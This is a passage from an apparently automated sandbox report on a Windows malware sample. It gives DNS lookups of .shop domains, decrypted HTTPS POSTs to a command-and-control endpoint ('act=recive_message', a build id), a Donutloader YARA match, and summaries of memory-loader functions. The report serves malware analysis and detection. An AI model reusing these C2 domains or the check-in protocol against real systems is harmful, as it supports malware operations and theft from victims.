Sep 27, 2024 11:18:26.194772005 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.194900036 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.194900036 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.201015949 CEST	49716	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.201054096 CEST	443	49716	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.457401037 CEST	49717	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.457463026 CEST	443	49717	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.457572937 CEST	49717	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.458206892 CEST	49717	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.458226919 CEST	443	49717	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.916944981 CEST	443	49717	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.917290926 CEST	49717	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.919399023 CEST	49717	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.919420004 CEST	443	49717	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.919742107 CEST	443	49717	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:26.921041012 CEST	49717	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.921103954 CEST	49717	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:26.921140909 CEST	443	49717	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:27.331922054 CEST	443	49717	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:27.332034111 CEST	443	49717	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:27.332469940 CEST	49717	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:27.333312988 CEST	49717	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:27.333349943 CEST	443	49717	188.114.97.3	192.168.2.5
Sep 27, 2024 11:18:27.333372116 CEST	49717	443	192.168.2.5	188.114.97.3
Sep 27, 2024 11:18:27.333380938 CEST	443	49717	188.114.97.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 11:18:25.518866062 CEST	58074	53	192.168.2.5	1.1.1.1
Sep 27, 2024 11:18:25.527704000 CEST	53	58074	1.1.1.1	192.168.2.5
Sep 27, 2024 11:18:25.529279947 CEST	58062	53	192.168.2.5	1.1.1.1
Sep 27, 2024 11:18:25.537820101 CEST	53	58062	1.1.1.1	192.168.2.5
Sep 27, 2024 11:18:25.539643049 CEST	57176	53	192.168.2.5	1.1.1.1
Sep 27, 2024 11:18:25.553301096 CEST	53	57176	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 11:18:25.518866062 CEST	192.168.2.5	1.1.1.1	0x84ab	Standard query (0)	candleduseiwo.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:18:25.529279947 CEST	192.168.2.5	1.1.1.1	0x617	Standard query (0)	racedsuitreow.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:18:25.539643049 CEST	192.168.2.5	1.1.1.1	0x3d2	Standard query (0)	defenddsouneuw.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 11:18:25.527704000 CEST	1.1.1.1	192.168.2.5	0x84ab	Name error (3)	candleduseiwo.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:18:25.537820101 CEST	1.1.1.1	192.168.2.5	0x617	Name error (3)	racedsuitreow.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:18:25.553301096 CEST	1.1.1.1	192.168.2.5	0x3d2	No error (0)	defenddsouneuw.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:18:25.553301096 CEST	1.1.1.1	192.168.2.5	0x3d2	No error (0)	defenddsouneuw.shop		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

defenddsouneuw.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49716	188.114.97.3	443	5852	C:\Users\user\Desktop\bfINGx7hvL.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:18:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: defenddsouneuw.shop
2024-09-27 09:18:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-27 09:18:26 UTC	555	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i3h2r5to%2FBxcQ06yfu3y%2FT%2FlzCpJIi%2Bx3Up6FrFqTicEpB5nDli1AHuLbNcilnI7JPWk0dHXD0tGqknurYqRZpvcZbf%2F%2BIsSKOAZlvpP89RGwi7aggVy9yTzG4OqmQ7Xc8edLSdM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a680569e70cba-EWR
2024-09-27 09:18:26 UTC	814	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-09-27 09:18:26 UTC	1369	IN	Data Raw: 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 Data Ascii: les/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('
2024-09-27 09:18:26 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 69 6e 68 6c 66 42 53 33 51 58 61 4c 31 54 79 32 4d 55 6d 4c 30 54 74 42 6a 39 30 79 31 66 6f 37 6b 38 78 57 66 50 4a 79 4a 46 6f 2d 31 37 32 37 34 32 38 37 30 36 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e Data Ascii: <input type="hidden" name="atok" value="inhlfBS3QXaL1Ty2MUmL0TtBj90y1fo7k8xWfPJyJFo-1727428706-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn
2024-09-27 09:18:26 UTC	853	IN	Data Raw: 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 Data Ascii: or sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflar
2024-09-27 09:18:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49717	188.114.97.3	443	5852	C:\Users\user\Desktop\bfINGx7hvL.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:18:26 UTC	356	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=inhlfBS3QXaL1Ty2MUmL0TtBj90y1fo7k8xWfPJyJFo-1727428706-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: defenddsouneuw.shop
2024-09-27 09:18:26 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 45 63 61 47 2d 2d 72 75 69 31 32 32 32 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yJEcaG--rui1222&j=
2024-09-27 09:18:27 UTC	766	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=usfs5fqthgao8tbahmomeu0j6i; expires=Tue, 21 Jan 2025 03:05:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YLFLM%2FIXqxpovZlvYUUWIKxkupU0jUJlbQHW1TXPJ9npmRV16ezQ3BL9dP9Rd8Z8vy4fBizGpYmm8KEWlWEADYDoRvKnoq3WzgYyAhy7D8VheNAlQKpwdKv5g01HZNMF5xn6ylDC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a680aa84b421c-EWR
2024-09-27 09:18:27 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 09:18:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:18:16
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\bfINGx7hvL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bfINGx7hvL.exe"
Imagebase:	0x400000
File size:	2'881'672 bytes
MD5 hash:	80C2A36E9A14E3EDBA0B706D2433D9B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:18:27
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 624
Imagebase:	0x650000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:18:48
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 1760
Imagebase:	0x650000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:18:51
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 200
Imagebase:	0x650000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	72.1%
Signature Coverage:	31.3%
Total number of Nodes:	201
Total number of Limit Nodes:	31

Executed Functions

Function 0050E640 Relevance: 36.9, APIs: 3, Strings: 17, Instructions: 1873
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(?,-00000001C816EF8F,-D3472FE1,00000000,?,-37466A7C), ref: 0050EFD2
GetProcAddress.KERNEL32(00000000), ref: 0050F8DC
VirtualAlloc.KERNEL32(-AB438275,0005D9EF,?,-650D102C,?,?,?,2D6F08F3), ref: 0050FF7C

Strings

!=Q\, xrefs: 0050E98C
=]\, xrefs: 0050FE04
:5, xrefs: 0050F82D
!5v\, xrefs: 0050ED8F
=6\, xrefs: 0050F360
1=7\, xrefs: 005101EF
l], xrefs: 0050FE0D
N)5X\, xrefs: 0050EDE5
!J\, xrefs: 0050F5AF
3=\, xrefs: 0050FCDD
=\, xrefs: 0050ECC7
5V\, xrefs: 0050E7C3
!5{\, xrefs: 0050F5B9
I\, xrefs: 0050E809
)=\\, xrefs: 0050FAD8
=h\, xrefs: 0050FD11
5H\, xrefs: 0050E82D

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: AddressAllocLibraryLoadProcVirtual
String ID: I\$5H\$5V\$=\$=6\$=]\$=h\$!J\$!5v\$!5{\$!=Q\$)=\\$1=7\$3=\$N)5X\$:5$l]
API String ID: 4074058790-3398654432
Opcode ID: 5cf1c075dd1c5804f0484755acad62fd2e52c2f1c2395c0f880e5a8e5b4e3f62
Instruction ID: ee3a7cb5424bd764c10784c3ed0ff581881010bb31c488890e1eaacbe34f7dfd
Opcode Fuzzy Hash: 5cf1c075dd1c5804f0484755acad62fd2e52c2f1c2395c0f880e5a8e5b4e3f62
Instruction Fuzzy Hash: 5DD24B76954B20CFD758DFB6EC8696A3762F7B0304341B62ED403871E5CF38194AAAC5

Function 0050E674 Relevance: 36.9, APIs: 3, Strings: 17, Instructions: 1859
librarymemoryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(?,-00000001C816EF8F,-D3472FE1,00000000,?,-37466A7C), ref: 0050EFD2
GetProcAddress.KERNEL32(00000000), ref: 0050F8DC
VirtualAlloc.KERNEL32(-AB438275,0005D9EF,?,-650D102C,?,?,?,2D6F08F3), ref: 0050FF7C

Strings

!=Q\, xrefs: 0050E98C
=]\, xrefs: 0050FE04
:5, xrefs: 0050F82D
!5v\, xrefs: 0050ED8F
=6\, xrefs: 0050F360
1=7\, xrefs: 005101EF
l], xrefs: 0050FE0D
N)5X\, xrefs: 0050EDE5
!J\, xrefs: 0050F5AF
3=\, xrefs: 0050FCDD
=\, xrefs: 0050ECC7
5V\, xrefs: 0050E7C3
!5{\, xrefs: 0050F5B9
I\, xrefs: 0050E809
)=\\, xrefs: 0050FAD8
=h\, xrefs: 0050FD11
5H\, xrefs: 0050E82D

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: AddressAllocLibraryLoadProcVirtual
String ID: I\$5H\$5V\$=\$=6\$=]\$=h\$!J\$!5v\$!5{\$!=Q\$)=\\$1=7\$3=\$N)5X\$:5$l]
API String ID: 4074058790-3398654432
Opcode ID: e851c25e3e48dfe5a46926cc7a2b28c99539beb22ae8fd77874ea49fb4427dbe
Instruction ID: d2289b821f783aacf1f91394e5df425eff50f6776758f94baca2d9f2921533a3
Opcode Fuzzy Hash: e851c25e3e48dfe5a46926cc7a2b28c99539beb22ae8fd77874ea49fb4427dbe
Instruction Fuzzy Hash: 7ED24B76954B20CFD758DFBAEC8696A3762F7B0304341B62ED403871E5CF38194AAAC5

Function 0050F158 Relevance: 22.1, APIs: 2, Strings: 10, Instructions: 1143
librarymemoryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000), ref: 0050F8DC
VirtualAlloc.KERNEL32(-AB438275,0005D9EF,?,-650D102C,?,?,?,2D6F08F3), ref: 0050FF7C

Strings

!J\, xrefs: 0050F5AF
3=\, xrefs: 0050FCDD
=]\, xrefs: 0050FE04
:5, xrefs: 0050F82D
!5{\, xrefs: 0050F5B9
=h\, xrefs: 0050FD11
)=\\, xrefs: 0050FAD8
=6\, xrefs: 0050F360
1=7\, xrefs: 005101EF
l], xrefs: 0050FE0D

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: AddressAllocProcVirtual
String ID: =6\$=]\$=h\$!J\$!5{\$)=\\$1=7\$3=\$:5$l]
API String ID: 2770133467-2676442670
Opcode ID: 4c56733f69eaa6b33f9705d39bcb6a5dc64e2338d2ffb348a4e9b076d671747d
Instruction ID: 327a959ee4ffdb57f71688f4b249be64711144f05ad95c8dd03decab71dfb643
Opcode Fuzzy Hash: 4c56733f69eaa6b33f9705d39bcb6a5dc64e2338d2ffb348a4e9b076d671747d
Instruction Fuzzy Hash: 9C825C77954B20CFC758DFBAEC8695A3762F7E0304342A62ED402971E5CF38194EAAC5

Function 00FCC583 Relevance: 11.2, APIs: 7, Instructions: 742memorynativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000), ref: 00FCC643
NtMapViewOfSection.NTDLL(?,00000000), ref: 00FCC6EF
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?), ref: 00FCCA5A
NtMapViewOfSection.NTDLL(?,00000000), ref: 00FCCB0F
VirtualProtect.KERNEL32(?,?,00000008,?), ref: 00FCCB2C
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00FCCBD1
VirtualProtect.KERNEL32(?,?,00000002,00000000), ref: 00FCCC06

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$View$AllocCreate
String ID:
API String ID: 2664363762-0
Opcode ID: 0b64ae62a9707750b83c9f98bbf6d7199bee7893939f3559e4f57fa99803780f
Instruction ID: 75486be55205456a0286e126e5721ac6e3d2e2cb2a13720bc4c26f7c27d4b10f
Opcode Fuzzy Hash: 0b64ae62a9707750b83c9f98bbf6d7199bee7893939f3559e4f57fa99803780f
Instruction Fuzzy Hash: 1E428D72A04302AFDB24CF64CD46F6AB7E9AF88710F14482DF999DB281D774E940DB91

Function 0050F955 Relevance: 11.1, APIs: 1, Strings: 6, Instructions: 615
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(-AB438275,0005D9EF,?,-650D102C,?,?,?,2D6F08F3), ref: 0050FF7C

Strings

3=\, xrefs: 0050FCDD
=]\, xrefs: 0050FE04
=h\, xrefs: 0050FD11
)=\\, xrefs: 0050FAD8
1=7\, xrefs: 005101EF
l], xrefs: 0050FE0D

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: AllocVirtual
String ID: =]\$=h\$)=\\$1=7\$3=\$l]
API String ID: 4275171209-3216202953
Opcode ID: ebe4869e19d5f7c516b3a384fec4e1fdc3117d1933cf8fae32f719dbc3b3faac
Instruction ID: 9a05f524823c9e390478221f60b4dbb571e86af1ee666c2076af2e1e642025c5
Opcode Fuzzy Hash: ebe4869e19d5f7c516b3a384fec4e1fdc3117d1933cf8fae32f719dbc3b3faac
Instruction Fuzzy Hash: DB221A72854B20CFD758DFB9EC96D6A3762F7E0304342A62ED403971E5CF38194AAAC5

Function 0050F974 Relevance: 11.1, APIs: 1, Strings: 6, Instructions: 609
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(-AB438275,0005D9EF,?,-650D102C,?,?,?,2D6F08F3), ref: 0050FF7C

Strings

3=\, xrefs: 0050FCDD
=]\, xrefs: 0050FE04
=h\, xrefs: 0050FD11
)=\\, xrefs: 0050FAD8
1=7\, xrefs: 005101EF
l], xrefs: 0050FE0D

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
